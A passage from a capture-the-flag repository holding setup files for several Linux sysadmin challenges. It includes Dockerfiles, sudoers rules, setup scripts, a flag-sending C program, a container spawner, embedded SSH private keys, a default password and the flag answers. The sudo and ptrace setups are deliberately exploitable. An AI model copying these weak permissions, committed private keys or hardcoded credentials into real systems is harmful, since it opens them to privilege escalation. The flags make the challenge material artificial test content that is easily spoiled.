/home/$[USER] 7 | rmdir /repos 8 | 9 | useradd -d /home/$[USER] -s /bin/bash $[USER] 10 | chown -R $[USER]:$[USER] /home/$[USER] 11 | 12 | echo -e "\n$[FLAG]" >> /home/$[USER]/react/packages/react/src/React.js -------------------------------------------------------------------------------- /challenges/sysadmin/flag7/.dockerignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /Dockerfile -------------------------------------------------------------------------------- /challenges/sysadmin/flag7/.env: -------------------------------------------------------------------------------- 1 | USER=flag7 2 | FLAG=FLAG-SysadminAlwaysCheckWhatSudoLetsYouDo -------------------------------------------------------------------------------- /challenges/sysadmin/flag7/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:dubnium AS build 2 | 3 | WORKDIR /app 4 | RUN chown node:node /app 5 | USER node 6 | 7 | COPY --chown=node:node . /app 8 | 9 | RUN node build.js ./root 10 | 11 | FROM unitedctf-sysadmin-base 12 | 13 | COPY --from=build /app/build/root / 14 | RUN sh < /perms.sh && rm /perms.sh -------------------------------------------------------------------------------- /challenges/sysadmin/flag7/build.js: -------------------------------------------------------------------------------- 1 | const fs = require("fs"); 2 | const path = require("path"); 3 | 4 | fs.readFileSync(".env") 5 | .toString() 6 | .split(/(\r\n|\n)/g) 7 | .map((line) => line.split("=", 2)) 8 | .forEach(([k, v]) => { 9 | if (!process.env[k]) process.env[k] = v; 10 | }); 11 | 12 | const parseEnv = (str) => 13 | str.replace(/(\$\[([A-z0-9_-]*?)\])/g, (match, ...p) => { 14 | if (!process.env[p[1]]) 15 | throw new Error(`environment variable ${p[1]} not found`); 16 | return process.env[p[1]] || "???"; 17 | }); 18 | 19 | (function build(dir) { 20 | const odir = parseEnv(path.join("build", dir)); 21 | 22 | if (!fs.existsSync(odir)) 23 | fs.mkdirSync(odir, { 24 | recursive: true, 25 | }); 26 | 27 | for (let p of fs.readdirSync(dir, { 28 | withFileTypes: true, 29 | })) { 30 | const fname = path.join(dir, p.name); 31 | 32 | if (p.isDirectory()) build(fname); 33 | else if (p.isFile()) { 34 | fs.writeFileSync( 35 | parseEnv(path.join(odir, p.name)), 36 | parseEnv(fs.readFileSync(fname).toString()) 37 | ); 38 | } else { 39 | console.warn("unsupported", p); 40 | } 41 | } 42 | })(process.argv[2]); 43 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag7/root/etc/sudoers.d/$[USER]: -------------------------------------------------------------------------------- 1 | $[USER] ALL=(superuser) NOPASSWD: /home/superuser/secret.sh 2 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag7/root/home/$[USER]/.bash_logout: -------------------------------------------------------------------------------- 1 | # ~/.bash_logout: executed by bash(1) when login shell exits. 2 | 3 | # when leaving the console clear the screen to increase privacy 4 | 5 | if [ "$SHLVL" = 1 ]; then 6 | [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q 7 | fi -------------------------------------------------------------------------------- /challenges/sysadmin/flag7/root/home/$[USER]/.hushlogin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/sysadmin/flag7/root/home/$[USER]/.hushlogin -------------------------------------------------------------------------------- /challenges/sysadmin/flag7/root/home/superuser/.bash_logout: -------------------------------------------------------------------------------- 1 | # ~/.bash_logout: executed by bash(1) when login shell exits. 2 | 3 | # when leaving the console clear the screen to increase privacy 4 | 5 | if [ "$SHLVL" = 1 ]; then 6 | [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q 7 | fi -------------------------------------------------------------------------------- /challenges/sysadmin/flag7/root/home/superuser/.hushlogin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/sysadmin/flag7/root/home/superuser/.hushlogin -------------------------------------------------------------------------------- /challenges/sysadmin/flag7/root/home/superuser/secret.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo $[FLAG] -------------------------------------------------------------------------------- /challenges/sysadmin/flag7/root/perms.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | chown root:root /etc /etc/sudoers.d /etc/sudoers.d/* 5 | chmod -R 550 /etc/sudoers.d 6 | chown -R root:root /home 7 | 8 | useradd -d /home/$[USER] -s /bin/bash $[USER] 9 | chown -R $[USER]:$[USER] /home/$[USER] 10 | 11 | useradd -d /home/superuser -s /bin/bash superuser 12 | chown -R superuser:superuser /home/superuser 13 | chmod 700 /home/superuser/secret.sh -------------------------------------------------------------------------------- /challenges/sysadmin/flag8/.dockerignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /Dockerfile -------------------------------------------------------------------------------- /challenges/sysadmin/flag8/.env: -------------------------------------------------------------------------------- 1 | USER=flag8 2 | FLAG=FLAG-SysadminStraceAllTheThings -------------------------------------------------------------------------------- /challenges/sysadmin/flag8/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:dubnium AS build 2 | 3 | WORKDIR /app 4 | RUN chown node:node /app 5 | USER node 6 | 7 | COPY --chown=node:node . /app 8 | 9 | RUN node build.js ./root 10 | 11 | FROM unitedctf-sysadmin-base 12 | 13 | HEALTHCHECK --interval=5s \ 14 | --timeout=3s \ 15 | --start-period=5s \ 16 | CMD sudo /keysend || ( kill 1 && exit 1 ) 17 | 18 | COPY --from=build /app/build/root / 19 | RUN sh < /perms.sh && rm /perms.sh -------------------------------------------------------------------------------- /challenges/sysadmin/flag8/build.js: -------------------------------------------------------------------------------- 1 | const fs = require("fs"); 2 | const path = require("path"); 3 | 4 | fs.readFileSync(".env") 5 | .toString() 6 | .split(/(\r\n|\n)/g) 7 | .map((line) => line.split("=", 2)) 8 | .forEach(([k, v]) => { 9 | if (!process.env[k]) process.env[k] = v; 10 | }); 11 | 12 | const parseEnv = (str) => 13 | str.replace(/(\$\[([A-z0-9_-]*?)\])/g, (match, ...p) => { 14 | if (!process.env[p[1]]) 15 | throw new Error(`environment variable ${p[1]} not found`); 16 | return process.env[p[1]] || "???"; 17 | }); 18 | 19 | (function build(dir) { 20 | const odir = parseEnv(path.join("build", dir)); 21 | 22 | if (!fs.existsSync(odir)) 23 | fs.mkdirSync(odir, { 24 | recursive: true, 25 | }); 26 | 27 | for (let p of fs.readdirSync(dir, { 28 | withFileTypes: true, 29 | })) { 30 | const fname = path.join(dir, p.name); 31 | 32 | if (p.isDirectory()) build(fname); 33 | else if (p.isFile()) { 34 | fs.writeFileSync( 35 | parseEnv(path.join(odir, p.name)), 36 | parseEnv(fs.readFileSync(fname).toString()) 37 | ); 38 | } else { 39 | console.warn("unsupported", p); 40 | } 41 | } 42 | })(process.argv[2]); 43 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag8/root/etc/sudoers.d/$[USER]: -------------------------------------------------------------------------------- 1 | $[USER] ALL=(root) NOPASSWD: /keysend 2 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag8/root/home/$[USER]/.bash_logout: -------------------------------------------------------------------------------- 1 | # ~/.bash_logout: executed by bash(1) when login shell exits. 2 | 3 | # when leaving the console clear the screen to increase privacy 4 | 5 | if [ "$SHLVL" = 1 ]; then 6 | [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q 7 | fi -------------------------------------------------------------------------------- /challenges/sysadmin/flag8/root/home/$[USER]/.hushlogin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/sysadmin/flag8/root/home/$[USER]/.hushlogin -------------------------------------------------------------------------------- /challenges/sysadmin/flag8/root/keysend.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define SA struct sockaddr 10 | 11 | int main() { 12 | int sockfd, connfd; 13 | struct sockaddr_in servaddr, cli; 14 | 15 | sockfd = socket(AF_INET, SOCK_STREAM, 0); 16 | if (sockfd == -1) { 17 | printf("socket creation failed...\n"); 18 | exit(1); 19 | } 20 | bzero(&servaddr, sizeof(servaddr)); 21 | 22 | servaddr.sin_family = AF_INET; 23 | servaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 24 | servaddr.sin_port = htons(1337); 25 | 26 | if (connect(sockfd, (SA*)&servaddr, sizeof(servaddr)) != 0) { 27 | printf("connection with the server failed...\n"); 28 | exit(1); 29 | } 30 | 31 | char* flag = "$[FLAG]"; 32 | write(sockfd, flag, sizeof(flag)*8); 33 | 34 | char buff[32]; 35 | read(sockfd, buff, sizeof(buff)); 36 | 37 | if (strncmp(buff, "OK", 2) == 0) { 38 | exit(0); 39 | } 40 | exit(1); 41 | } -------------------------------------------------------------------------------- /challenges/sysadmin/flag8/root/perms.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | if [ "$(cat /proc/sys/kernel/yama/ptrace_scope)" -ne 0 ]; then 5 | echo "You need to set /proc/sys/kernel/yama/ptrace_scope to 0 for this challenge to work" 6 | exit 1 7 | fi 8 | 9 | chown root:root /etc /etc/sudoers.d /etc/sudoers.d/* 10 | chmod -R 550 /etc/sudoers.d 11 | chown -R root:root /home 12 | 13 | useradd -d /home/$[USER] -s /bin/bash $[USER] 14 | chown -R $[USER]:$[USER] /home/$[USER] 15 | 16 | gcc /keyrecv.c -o /keyrecv && rm /keyrecv.c 17 | chmod 755 /keyrecv 18 | 19 | gcc /keysend.c -o /keysend && rm /keysend.c 20 | chmod 700 /keysend -------------------------------------------------------------------------------- /challenges/sysadmin/flag9/.dockerignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /Dockerfile -------------------------------------------------------------------------------- /challenges/sysadmin/flag9/.env: -------------------------------------------------------------------------------- 1 | USER=flag9 2 | FLAG=FLAG-SysadminGottaBeFasterThanThat -------------------------------------------------------------------------------- /challenges/sysadmin/flag9/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:dubnium AS build 2 | 3 | WORKDIR /app 4 | RUN chown node:node /app 5 | USER node 6 | 7 | COPY --chown=node:node . /app 8 | 9 | RUN node build.js ./root 10 | 11 | FROM unitedctf-sysadmin-base 12 | 13 | COPY --from=build /app/build/root / 14 | RUN sh < /perms.sh && rm /perms.sh -------------------------------------------------------------------------------- /challenges/sysadmin/flag9/build.js: -------------------------------------------------------------------------------- 1 | const fs = require("fs"); 2 | const path = require("path"); 3 | 4 | fs.readFileSync(".env") 5 | .toString() 6 | .split(/(\r\n|\n)/g) 7 | .map((line) => line.split("=", 2)) 8 | .forEach(([k, v]) => { 9 | if (!process.env[k]) process.env[k] = v; 10 | }); 11 | 12 | const parseEnv = (str) => 13 | str.replace(/(\$\[([A-z0-9_-]*?)\])/g, (match, ...p) => { 14 | if (!process.env[p[1]]) 15 | throw new Error(`environment variable ${p[1]} not found`); 16 | return process.env[p[1]] || "???"; 17 | }); 18 | 19 | (function build(dir) { 20 | const odir = parseEnv(path.join("build", dir)); 21 | 22 | if (!fs.existsSync(odir)) 23 | fs.mkdirSync(odir, { 24 | recursive: true, 25 | }); 26 | 27 | for (let p of fs.readdirSync(dir, { 28 | withFileTypes: true, 29 | })) { 30 | const fname = path.join(dir, p.name); 31 | 32 | if (p.isDirectory()) build(fname); 33 | else if (p.isFile()) { 34 | fs.writeFileSync( 35 | parseEnv(path.join(odir, p.name)), 36 | parseEnv(fs.readFileSync(fname).toString()) 37 | ); 38 | } else { 39 | console.warn("unsupported", p); 40 | } 41 | } 42 | })(process.argv[2]); 43 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag9/root/etc/sudoers.d/$[USER]: -------------------------------------------------------------------------------- 1 | $[USER] ALL=(secretuser) NOPASSWD: /home/secretuser/rotatekeys.sh 2 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag9/root/home/$[USER]/.bash_logout: -------------------------------------------------------------------------------- 1 | # ~/.bash_logout: executed by bash(1) when login shell exits. 2 | 3 | # when leaving the console clear the screen to increase privacy 4 | 5 | if [ "$SHLVL" = 1 ]; then 6 | [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q 7 | fi -------------------------------------------------------------------------------- /challenges/sysadmin/flag9/root/home/$[USER]/.hushlogin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/sysadmin/flag9/root/home/$[USER]/.hushlogin -------------------------------------------------------------------------------- /challenges/sysadmin/flag9/root/home/secretuser/.bash_logout: -------------------------------------------------------------------------------- 1 | # ~/.bash_logout: executed by bash(1) when login shell exits. 2 | 3 | # when leaving the console clear the screen to increase privacy 4 | 5 | if [ "$SHLVL" = 1 ]; then 6 | [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q 7 | fi -------------------------------------------------------------------------------- /challenges/sysadmin/flag9/root/home/secretuser/.hushlogin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/sysadmin/flag9/root/home/secretuser/.hushlogin -------------------------------------------------------------------------------- /challenges/sysadmin/flag9/root/home/secretuser/rotatekeys.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | dd if=/dev/random of=/tmp/secret bs=4096 count=1 &>/dev/null 5 | 6 | FLAG=$(openssl enc -aes-256-cbc -d -pbkdf2 -iter 100000 -salt -md sha512 -pass file:/home/secretuser/secret -in /home/secretuser/flag.enc -out -) 7 | echo $FLAG | openssl enc -aes-256-cbc -pbkdf2 -iter 100000 -salt -md sha512 -pass file:/tmp/secret -in - -out /tmp/flag.enc 8 | 9 | mv /tmp/secret /home/secretuser/secret 10 | mv /tmp/flag.enc /home/secretuser/flag.enc 11 | chmod 600 /home/secretuser/secret -------------------------------------------------------------------------------- /challenges/sysadmin/flag9/root/perms.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | chown root:root /etc /etc/sudoers.d /etc/sudoers.d/* 5 | chmod -R 550 /etc/sudoers.d 6 | chown -R root:root /home 7 | 8 | useradd -d /home/$[USER] -s /bin/bash $[USER] 9 | chown -R $[USER]:$[USER] /home/$[USER] 10 | 11 | dd if=/dev/random of=/home/secretuser/secret bs=4096 count=1 12 | echo "$[FLAG]" | \ 13 | openssl enc -aes-256-cbc -pbkdf2 -iter 100000 -salt -md sha512 -pass file:/home/secretuser/secret -in - -out /home/secretuser/flag.enc 14 | 15 | useradd -d /home/secretuser -s /bin/bash secretuser 16 | chown -R secretuser:secretuser /home/secretuser 17 | chmod 600 /home/secretuser/secret 18 | chmod 744 /home/secretuser/rotatekeys.sh -------------------------------------------------------------------------------- /challenges/sysadmin/spawner/.dockerignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /Dockerfile -------------------------------------------------------------------------------- /challenges/sysadmin/spawner/.env: -------------------------------------------------------------------------------- 1 | UNITEDCTF_SYSADMIN_FLAG_BOX_MEMORY=128m 2 | UNITEDCTF_SYSADMIN_FLAG_BOX_CPU=0.1 3 | UNITEDCTF_SYSADMIN_FLAG_BOX_TMOUT=180 4 | UNITEDCTF_SYSADMIN_FLAG_BOX_NPROC=1024 -------------------------------------------------------------------------------- /challenges/sysadmin/spawner/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:dubnium AS build 2 | 3 | WORKDIR /app 4 | RUN chown node:node /app 5 | USER node 6 | 7 | COPY --chown=node:node . /app 8 | 9 | RUN node build.js ./root 10 | 11 | FROM ubuntu:20.04 12 | 13 | RUN apt update 14 | RUN apt install -y \ 15 | apt-transport-https \ 16 | ca-certificates \ 17 | curl \ 18 | gnupg-agent \ 19 | software-properties-common 20 | 21 | RUN curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add - 22 | RUN add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" 23 | RUN apt install -y docker-ce 24 | 25 | RUN apt install -y ssh net-tools sudo cowsay 26 | 27 | COPY --from=build /app/build/root / 28 | RUN sh < /perms.sh && rm /perms.sh 29 | 30 | ENTRYPOINT [ "/entrypoint.sh" ] -------------------------------------------------------------------------------- /challenges/sysadmin/spawner/build.js: -------------------------------------------------------------------------------- 1 | const fs = require("fs"); 2 | const path = require("path"); 3 | 4 | fs.readFileSync(".env") 5 | .toString() 6 | .split(/(\r\n|\n)/g) 7 | .map((line) => line.split("=", 2)) 8 | .forEach(([k, v]) => { 9 | if (!process.env[k]) process.env[k] = v; 10 | }); 11 | 12 | const parseEnv = (str) => 13 | str.replace(/(\$\[([A-z0-9_-]*?)\])/g, (match, ...p) => { 14 | if (!process.env[p[1]]) 15 | throw new Error(`environment variable ${p[1]} not found`); 16 | return process.env[p[1]] || "???"; 17 | }); 18 | 19 | (function build(dir) { 20 | const odir = parseEnv(path.join("build", dir)); 21 | 22 | if (!fs.existsSync(odir)) 23 | fs.mkdirSync(odir, { 24 | recursive: true, 25 | }); 26 | 27 | for (let p of fs.readdirSync(dir, { 28 | withFileTypes: true, 29 | })) { 30 | const fname = path.join(dir, p.name); 31 | 32 | if (p.isDirectory()) build(fname); 33 | else if (p.isFile()) { 34 | fs.writeFileSync( 35 | parseEnv(path.join(odir, p.name)), 36 | parseEnv(fs.readFileSync(fname).toString()) 37 | ); 38 | } else { 39 | console.warn("unsupported", p); 40 | } 41 | } 42 | })(process.argv[2]); 43 | -------------------------------------------------------------------------------- /challenges/sysadmin/spawner/root/entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Start the SSH service 4 | /etc/init.d/ssh start 5 | 6 | # Correct the docker group id to match the host 7 | if [ "$(stat /var/run/docker.sock --format='%G')" != "docker" ]; then 8 | docker_id=$(stat /var/run/docker.sock --format='%g') 9 | groupmod -g $docker_id docker 10 | fi 11 | 12 | # Kill dangling images 13 | docker kill $(docker ps -f "name=^unitedctf-sysadmin-flag[0-9]+" -q) &>/dev/null 14 | 15 | while :; do 16 | sleep Infinity 17 | done -------------------------------------------------------------------------------- /challenges/sysadmin/spawner/root/etc/ssh/ssh_host_dsa_key: -------------------------------------------------------------------------------- 1 | -----BEGIN OPENSSH PRIVATE KEY----- 2 | b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABsgAAAAdzc2gtZH 3 | NzAAAAgQDKg85ipbGtO78m2juNKxI/UmTXr0gpOpx4NW/wN3++kOhAMPwYl5e+ZgjTgSbu 4 | BViEq7TOkWBUoGJDUske/uQ++FZqb9SkoCfDckY/YUCF0DXlX4jA+F16K5ITPnLi/Zm4fx 5 | CSXrawo6dksBojmUMbVetJf0arRAmWzO6+3ZIssQAAABUA3SA0yPfUGMBdqlZtS3mXQm62 6 | 568AAACBAKV4nIeNgrSJXMVmifTZhlO8v2bPA20ua1481brVgx5LDi8R3UW0QTtHmy1Qa5 7 | ObOHGXIQURi8du+1gZ11ppbjjPVIMtFqeU5L7q1GpvRoOFe4odEclfeMJWf0G/jDRW4Yti 8 | ehIKZQu1jvS+sBMeT2oRkmCGqPHeJf2mULsOKybzAAAAgAptVMjCmg2QFzilQ4/1X0Op0h 9 | 6VfxkYEUjubFYX32Yt+Ng1Pt+66tOZVN6ZAvwgUbIRNcLTiKTNUUCAJ0P2dktfjfQ8wA6t 10 | udpm1sKHUJ0B3MbJhe9EkXmVHH4RJCMT6K78puaWimT/m+5uDaFZcodL9fI1w5vlfvKLWq 11 | XXB7CzAAAB8HkTXOd5E1znAAAAB3NzaC1kc3MAAACBAMqDzmKlsa07vybaO40rEj9SZNev 12 | SCk6nHg1b/A3f76Q6EAw/BiXl75mCNOBJu4FWISrtM6RYFSgYkNSyR7+5D74Vmpv1KSgJ8 13 | NyRj9hQIXQNeVfiMD4XXorkhM+cuL9mbh/EJJetrCjp2SwGiOZQxtV60l/RqtECZbM7r7d 14 | kiyxAAAAFQDdIDTI99QYwF2qVm1LeZdCbrbnrwAAAIEApXich42CtIlcxWaJ9NmGU7y/Zs 15 | 8DbS5rXjzVutWDHksOLxHdRbRBO0ebLVBrk5s4cZchBRGLx277WBnXWmluOM9Ugy0Wp5Tk 16 | vurUam9Gg4V7ih0RyV94wlZ/Qb+MNFbhi2J6EgplC7WO9L6wEx5PahGSYIao8d4l/aZQuw 17 | 4rJvMAAACACm1UyMKaDZAXOKVDj/VfQ6nSHpV/GRgRSO5sVhffZi342DU+37rq05lU3pkC 18 | /CBRshE1wtOIpM1RQIAnQ/Z2S1+N9DzADq252mbWwodQnQHcxsmF70SReZUcfhEkIxPorv 19 | ym5paKZP+b7m4NoVlyh0v18jXDm+V+8otapdcHsLMAAAAVANA2c8lvYZrc7vrltcn+mnWg 20 | jWHlAAAAEnZpbmNlbnRAVk0tVklOQ0VOVAECAwQFBgc= 21 | -----END OPENSSH PRIVATE KEY----- 22 | -------------------------------------------------------------------------------- /challenges/sysadmin/spawner/root/etc/ssh/ssh_host_dsa_key.pub: -------------------------------------------------------------------------------- 1 | ssh-dss AAAAB3NzaC1kc3MAAACBAMqDzmKlsa07vybaO40rEj9SZNevSCk6nHg1b/A3f76Q6EAw/BiXl75mCNOBJu4FWISrtM6RYFSgYkNSyR7+5D74Vmpv1KSgJ8NyRj9hQIXQNeVfiMD4XXorkhM+cuL9mbh/EJJetrCjp2SwGiOZQxtV60l/RqtECZbM7r7dkiyxAAAAFQDdIDTI99QYwF2qVm1LeZdCbrbnrwAAAIEApXich42CtIlcxWaJ9NmGU7y/Zs8DbS5rXjzVutWDHksOLxHdRbRBO0ebLVBrk5s4cZchBRGLx277WBnXWmluOM9Ugy0Wp5TkvurUam9Gg4V7ih0RyV94wlZ/Qb+MNFbhi2J6EgplC7WO9L6wEx5PahGSYIao8d4l/aZQuw4rJvMAAACACm1UyMKaDZAXOKVDj/VfQ6nSHpV/GRgRSO5sVhffZi342DU+37rq05lU3pkC/CBRshE1wtOIpM1RQIAnQ/Z2S1+N9DzADq252mbWwodQnQHcxsmF70SReZUcfhEkIxPorvym5paKZP+b7m4NoVlyh0v18jXDm+V+8otapdcHsLM= unitedctf 2 | -------------------------------------------------------------------------------- /challenges/sysadmin/spawner/root/etc/ssh/ssh_host_ecdsa_key: -------------------------------------------------------------------------------- 1 | -----BEGIN OPENSSH PRIVATE KEY----- 2 | b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS 3 | 1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQRu7+VklIERy5b8gNJ1JALwDTsRcvgp 4 | z5PtwokKd0CK0mOJ1DH+B9lNv5+Z7ZLtej5Vudok7upjiztqn0eI5KHvAAAAsKXTNnul0z 5 | Z7AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBG7v5WSUgRHLlvyA 6 | 0nUkAvANOxFy+CnPk+3CiQp3QIrSY4nUMf4H2U2/n5ntku16PlW52iTu6mOLO2qfR4jkoe 7 | 8AAAAgckRWhF8rf4zp5O4sh/bZYJIJeb1388VTeX7BGEm95EAAAAASdmluY2VudEBWTS1W 8 | SU5DRU5UAQIDBAUG 9 | -----END OPENSSH PRIVATE KEY----- 10 | -------------------------------------------------------------------------------- /challenges/sysadmin/spawner/root/etc/ssh/ssh_host_ecdsa_key.pub: -------------------------------------------------------------------------------- 1 | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBG7v5WSUgRHLlvyA0nUkAvANOxFy+CnPk+3CiQp3QIrSY4nUMf4H2U2/n5ntku16PlW52iTu6mOLO2qfR4jkoe8= unitedctf 2 | -------------------------------------------------------------------------------- /challenges/sysadmin/spawner/root/etc/ssh/ssh_host_ed25519_key: -------------------------------------------------------------------------------- 1 | -----BEGIN OPENSSH PRIVATE KEY----- 2 | b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 3 | QyNTUxOQAAACDDO7rl0clPY1Dn9VOslC6+2SrNLSC+rOqPFwA1BRqjwAAAAJA80jTFPNI0 4 | xQAAAAtzc2gtZWQyNTUxOQAAACDDO7rl0clPY1Dn9VOslC6+2SrNLSC+rOqPFwA1BRqjwA 5 | AAAEBmgXkWZakQis3M6lMPzT48ny8svCii6NarRpj861BvZsM7uuXRyU9jUOf1U6yULr7Z 6 | Ks0tIL6s6o8XADUFGqPAAAAACXVuaXRlZGN0ZgECAwQ= 7 | -----END OPENSSH PRIVATE KEY----- 8 | -------------------------------------------------------------------------------- /challenges/sysadmin/spawner/root/etc/ssh/ssh_host_ed25519_key.pub: -------------------------------------------------------------------------------- 1 | ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMM7uuXRyU9jUOf1U6yULr7ZKs0tIL6s6o8XADUFGqPA unitedctf 2 | -------------------------------------------------------------------------------- /challenges/sysadmin/spawner/root/etc/ssh/ssh_host_rsa_key.pub: -------------------------------------------------------------------------------- 1 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzO4gAyehqyYtsvnAT2EboWCjDOmwuDWvThMBuzRO9l6Dd6/09NbdOlce5S+PRqk1m3/xWG8IBriA9F7bOX4sLI+ZNJbePACkgJr6q3n0uG0vjFMUBnJQrDBRklor7Ulyv9JcgXqdmwcVe2wbHB9y+McUt01JUJoChJkctItqkDFo8jJCg/qXNMjJ0dxyIuHKSVFUZK2ESGbexMT3Ktp9PIzGEg7Iln14jkhESz49TxGyh+VYhumVMznCxLwlHLJ7gh31kpMPzmyDPWf9T1yq8ifup0ZhhrfsCa2oqAZCKdcx2tQ5jxOLFfEXREiryrwO2i8usqr5yrVcl3FSfDR7+DsXl68pC9Bw6i2liMC3cDGRvlRzyIG/tF2XgGhyKwAYrQORF6C1x5tTSO48uMCpElMCXnwD9Z3593q5deAWj1DQJh8LVC26NweLcan/hVmNfuvitL6Ty/WwsWcX8iS5YjbLxw6z7KBBkHHkSBCbvybnp86is7EzLoN2zafBFKFs= unitedctf 2 | -------------------------------------------------------------------------------- /challenges/sysadmin/spawner/root/etc/sudoers.d/spawner: -------------------------------------------------------------------------------- 1 | %spawner ALL=(root) NOPASSWD: /spawner.sh * 2 | -------------------------------------------------------------------------------- /challenges/sysadmin/spawner/root/forward-to-docker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ ! -t 1 ]; then 4 | echo "Ne vous compliquez pas la vie en enlevant le TTY :p" | cowsay 5 | echo 6 | exit 0 7 | elif [ ! -z "$1" ]; then 8 | echo "Pas besoin de commande pour vous connecter en SSH ;)" | cowsay 9 | echo 10 | exit 0 11 | fi 12 | 13 | sudo -u root /spawner.sh "$(id -un)" -------------------------------------------------------------------------------- /challenges/sysadmin/spawner/root/perms.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | set -e 3 | 4 | groupadd spawner 5 | 6 | chmod +x /*.sh 7 | chown root:root /etc 8 | 9 | chown -R root:root /etc/ssh 10 | chmod 600 /etc/ssh/ssh_host* 11 | 12 | chown -R root:root /etc/sudoers.d 13 | chmod 440 /etc/sudoers.d/* 14 | 15 | if [ -f "/etc/default/motd-news" ]; then 16 | sed -i 's/ENABLED=1/ENABLED=0/g' /etc/default/motd-news 17 | fi 18 | chmod -x /etc/update-motd.d/* 19 | rm /etc/legal 20 | 21 | echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXMavX3kF2kZOub8ll93LST6BC/rfnq0LUcknLqQV1a2ppYnWoxwr5UfcvFahiVZcBU+FYIkRi93FkNxwhOATyOdCSTadE9c6EvzATRxADvphamqCzjfqVdD0I7xesLFDaTN1Jbr8qs6uJIze97A4gdgQitj58jvBCaHAtCuhP8uTOCQjOXoxspgQICT1dawZWfvGIFnUixT1VqZ3Pm3UgjmQhH0c65fQ4q1E3bAK+1NxexuaczSck70yNQ/+3OHvV55xMEkN/KjfGLzvU6UkGASdQm6nkuKPBLe3wEGi0hCfnZR4UORzo5646rDGfbn2XPb4P2ggOtrL8bla1B240QitjWnnUw8wbqLoYYAVXJGw9SxPjeW1nTBdrZSY08P9bazy7CyOs7UZWAoWdPlM8wahy2y8u0E5PH1PIq/VHJvfE53jhyZ68WqgDRMr1yvYBq3zy9e3C6tRUQDqiBf7IPU7/kN0LJHmEGkyCXmZ9AbU43YURN8nuhplFxKuwWH8= unitedctf" > /pubkey 22 | for i in `seq 0 10`; do 23 | useradd -M -G spawner -d /home/flag$i -s /forward-to-docker.sh flag$i 24 | mkdir -p /home/flag$i/.ssh 25 | cp /pubkey /home/flag$i/.ssh/authorized_keys 26 | chown -R flag$i:flag$i /home/flag$i 27 | done 28 | 29 | echo flag0:unitedctf | chpasswd -------------------------------------------------------------------------------- /challenges/sysadmin/spawner/root/spawner.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -z "$1" ]; then 4 | echo "missing challenge name" 5 | exit 1 6 | fi 7 | 8 | echo "Prendre note que tout est EFFACÉ à la fin de chaque session et que $[UNITEDCTF_SYSADMIN_FLAG_BOX_TMOUT] secondes d'inactivé met fin à la session" 9 | echo 10 | 11 | docker run -it \ 12 | --name "unitedctf-sysadmin-$1-$(date +%s.%3N)" \ 13 | -m "$[UNITEDCTF_SYSADMIN_FLAG_BOX_MEMORY]" \ 14 | --cpus="$[UNITEDCTF_SYSADMIN_FLAG_BOX_CPU]" \ 15 | --ulimit nproc="$[UNITEDCTF_SYSADMIN_FLAG_BOX_NPROC]" \ 16 | -e "TMOUT=$[UNITEDCTF_SYSADMIN_FLAG_BOX_TMOUT]" \ 17 | -u "$1" \ 18 | -w "/home/$1" \ 